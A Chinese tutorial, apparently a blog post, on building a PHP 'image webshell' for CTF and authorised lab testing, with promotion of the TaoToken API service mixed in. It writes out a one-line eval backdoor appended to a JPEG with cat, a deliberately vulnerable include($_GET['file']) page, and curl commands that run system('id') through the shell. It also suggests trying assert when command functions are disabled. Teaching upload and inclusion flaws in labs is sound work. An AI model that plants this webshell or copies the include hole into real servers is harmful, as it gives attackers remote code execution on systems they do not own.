1. Linux 下 PHP 一句话图片马到底是什么
如果你在 CTF 或者授权渗透测试里碰到过「只能传图片、后缀白名单」的上传点,那大概率会撞上 PHP 一句话图片马这个经典玩法。简单说,它就是一张正常能打开的图片,文件末尾(或中间)被塞进了一小段 PHP 代码,服务端用include、require或者文件包含漏洞去解析这个图片时,PHP 引擎会把里面的代码当脚本执行。图片本身还是图片,file命令、getimagesize()都能通过,但一旦被 PHP 解析,就是一把能执行命令的「钥匙」。
它适合谁?适合正在打 CTF 上传题、做本地靶场复现、或者学习文件包含与上传绕过原理的同学。我这次不是单纯讲怎么造马,而是把整条链路串起来:Linux 环境准备、图片马构造、上传解析验证,再顺手用 TaoToken 的统一 Key 把 AI 辅助排查接进来——因为实际调试时,报错信息、settings.json配置、请求返回码这些东西,有个统一的模型通道帮你读日志、改配置,效率会高很多。
需要先明确一点:下面所有操作都在你自己搭建的本地靶场或明确授权的测试环境里进行,别对着没授权的站点动手。我们复现的是原理,不是搞破坏。
2. 前置准备:TaoToken 统一 Key 与本地环境
2.1 为什么这里要引入 TaoToken
调试图片马的过程中,你会遇到一堆琐碎问题:php.ini里allow_url_include开没开、upload目录权限对不对、index.php?file=的包含路径拼错没有、Cline 里settings.json的字段名写错导致请求 401。这些问题如果每次都去翻文档、猜报错,很耗时间。TaoToken 提供的是一个统一的 API 通道,你申请一个 Key,就能在模型对话、Coding Plan、以及各种支持自定义 API 的客户端里复用,不用为每个工具单独配一套凭证。
官网入口在这里:https://taotoken.net/?utm_source=taotoken_aicg_blog_end&utm_medium=csdn&utm_campaign=rewrite&utm_content= ,API 基址是 https://taotoken.net/api (这个不加 UTM)。你注册后在控制台生成 Key,后面配置里会用到。
2.2 Linux 侧环境清单
我用的是 Ubuntu 22.04,PHP 8.1 + Apache。核心是确认 PHP 配置允许文件包含和解析:
sudo apt update sudo apt install -y apache2 php libapache2-mod-php sudo systemctl restart apache2 php -v然后确认关键配置项。图片马能不能被解析,取决于服务端是不是用 PHP 去读这个图片文件:
grep -E "allow_url_include|allow_url_fopen" /etc/php/8.1/apache2/php.ini如果allow_url_include是Off,本地靶场里可以临时改成On并重启 Apache,方便复现文件包含场景。生产环境当然不该这么开,这里只是靶场。
2.3 准备素材文件
建一个工作目录,放三样东西:一张正常图片tu.jpeg、一个探针phpinfo.php、一个一句话hack.php。
mkdir -p ~/imgtest && cd ~/imgtest # 随便找一张 jpeg 图片放进来,命名 tu.jpeg ls -l tu.jpegphpinfo.php内容就是一行探针,用来验证解析是否生效:
<?php phpinfo(); ?>hack.php是一句话,参数名自己定,这里用cmd:
<?php @eval($_POST['cmd']); ?>注意:一句话木马的本质是让服务端执行你 POST 过来的代码,所以参数名要和后面客户端里填的一致,别一个写cmd一个写pass。
3. 可复制配置:图片马构造与 settings.json 骨架
3.1 用命令行合成图片马
原教程用 UltraEdit 手动粘贴,其实 Linux 下用cat更干净,也不会破坏图片头部。核心思路是把 PHP 代码追加到图片末尾:
cd ~/imgtest # 先做探针版图片马,验证解析 cat tu.jpeg phpinfo.php > tu_info.jpeg # 再做一句话版图片马 cat tu.jpeg hack.php > tu2.jpeg验证一下图片还是不是合法图片,同时末尾确实带了 PHP 代码:
file tu2.jpeg tail -c 40 tu2.jpegfile应该仍然识别为 JPEG image data。tail能看到<?php @eval(...)?>这段。这就是图片马的关键:文件头是图片,文件尾是代码,中间没有破坏图片结构。
3.2 上传与包含路径
把图片放到 Web 目录的上传文件夹,模拟上传后的位置:
sudo mkdir -p /var/www/html/upload sudo cp tu_info.jpeg /var/www/html/upload/ sudo cp tu2.jpeg /var/www/html/upload/ sudo chown -R www-data:www-data /var/www/html/upload假设靶场入口是index.php,通过file参数做文件包含:
<?php $file = $_GET['file']; include($file); ?>那么访问路径就是index.php?file=upload/tu_info.jpeg。这里路径拼接要对,upload/是相对index.php所在目录的。
3.3 Cline / CC Switch 的 settings.json 骨架
如果你用 Cline 这类支持自定义 API 的编码助手来辅助读日志、改配置,可以在它的配置里指向 TaoToken 的统一通道。下面是一个settings.json骨架,字段名以你实际客户端为准,重点是baseUrl和apiKey两处:
{ "provider": "openai-compatible", "baseUrl": "https://taotoken.net/api", "apiKey": "sk-你的TaoTokenKey", "model": "claude-3-5-sonnet", "temperature": 0.2, "maxTokens": 4096 }几个容易踩的点:baseUrl不要自己加/v1之外的路径,按文档给的基址来;apiKey别提交到 Git,放本地或环境变量;model名字要和你账号里可用的模型对上,写错了会返回模型不存在。CC Switch 里如果是切换多套配置,把这段作为一个 profile 存起来,切换时只改model字段即可。
4. 验证请求:从探针到一句话执行
4.1 先验证探针图片马
浏览器或 curl 访问:
curl -s "http://127.0.0.1/index.php?file=upload/tu_info.jpeg" | head -n 20如果返回里出现phpinfo()的 HTML 表格,说明服务端确实把图片当 PHP 解析了,图片马构造成功。这一步是整个流程的分水岭——探针能出,才轮到一句话。
4.2 再验证一句话图片马
一句话不能用浏览器直接看,要用能发 POST 的客户端。命令行下可以这样测:
curl -s -X POST "http://127.0.0.1/index.php?file=upload/tu2.jpeg" \ --data-urlencode "cmd=system('id');"如果返回里有uid=33(www-data)之类的输出,说明一句话执行成功。这里的cmd必须和hack.php里的$_POST['cmd']完全一致。你也可以把system('id')换成phpinfo()再确认一次解析链路。
4.3 用 AI 通道辅助读返回
实际调试时返回可能是一大段 HTML 或者报错堆栈。把返回内容贴给配置好 TaoToken 的模型对话,让它帮你判断是「包含路径错」还是「PHP 没解析」还是「权限拒绝」。模型对话入口:https://taotoken.net/api (走统一 API),如果你在控制台里管理 Key,用 https://taotoken.net/api-keys 。这一步不是必须,但能省掉大量肉眼比对的时间。
5. 本篇常见错排查
5.1 访问图片马返回的是图片二进制,不是执行结果
最常见的原因:服务端没有用 PHP 去解析这个文件,而是当静态资源直接返回了。检查你的包含点是不是真的include($file),以及file参数有没有被过滤掉../或后缀。如果上传点只允许.jpg且服务端按后缀判断,那图片马必须配合文件包含漏洞才能触发,单独访问图片 URL 是不会执行的。
5.2 探针能出,一句话没反应
先确认hack.php里的参数名和 POST 的字段名一致。再确认eval有没有被disable_functions禁用。可以先用phpinfo()当 payload 测:
curl -s -X POST "http://127.0.0.1/index.php?file=upload/tu2.jpeg" \ --data-urlencode "cmd=phpinfo();"如果phpinfo()能出而system不出,那就是命令执行函数被禁了,换assert或文件操作类函数再试。
5.3 settings.json 配置后请求 401 / 404
401 一般是 Key 错或没带Authorization头;404 多半是baseUrl拼错,比如多写了/v1/chat/completions这种完整路径。按骨架里的https://taotoken.net/api作为基址,让客户端自己拼端点。改完配置记得重启客户端,有些工具是启动时读一次配置。
5.4 图片马被getimagesize()拦下
cat追加的方式不会破坏图片头,getimagesize()通常能过。如果你手动用编辑器在文件开头插入代码,那图片头就被破坏了,getimagesize()会返回 false。记住:代码加在末尾,不要动文件头。
6. 把统一 Key 用在长期编码与 Agent 场景
图片马这类调试只是一个小场景。如果你平时要长期用编码助手、跑 Agent 任务、或者多客户端切换模型,TaoToken 的 Coding Plan 会更合适,一个 Key 覆盖多种调用方式,省得每个工具配一遍。入口:https://taotoken.net/coding-plan 。接入文档在 https://taotoken.net/doc ,里面写了不同客户端的配置字段和常见返回码含义,遇到 401/429 先查文档比瞎试快。
最后留个实操建议:本地复现时把upload目录和index.php的包含逻辑单独放一个虚拟主机,别和你真实项目混在一起。测完把allow_url_include改回Off,养成收尾习惯。图片马的价值在于理解「文件内容信任边界」这件事——服务端信任了图片后缀,却没信任文件内容,漏洞就出在这个缝隙里。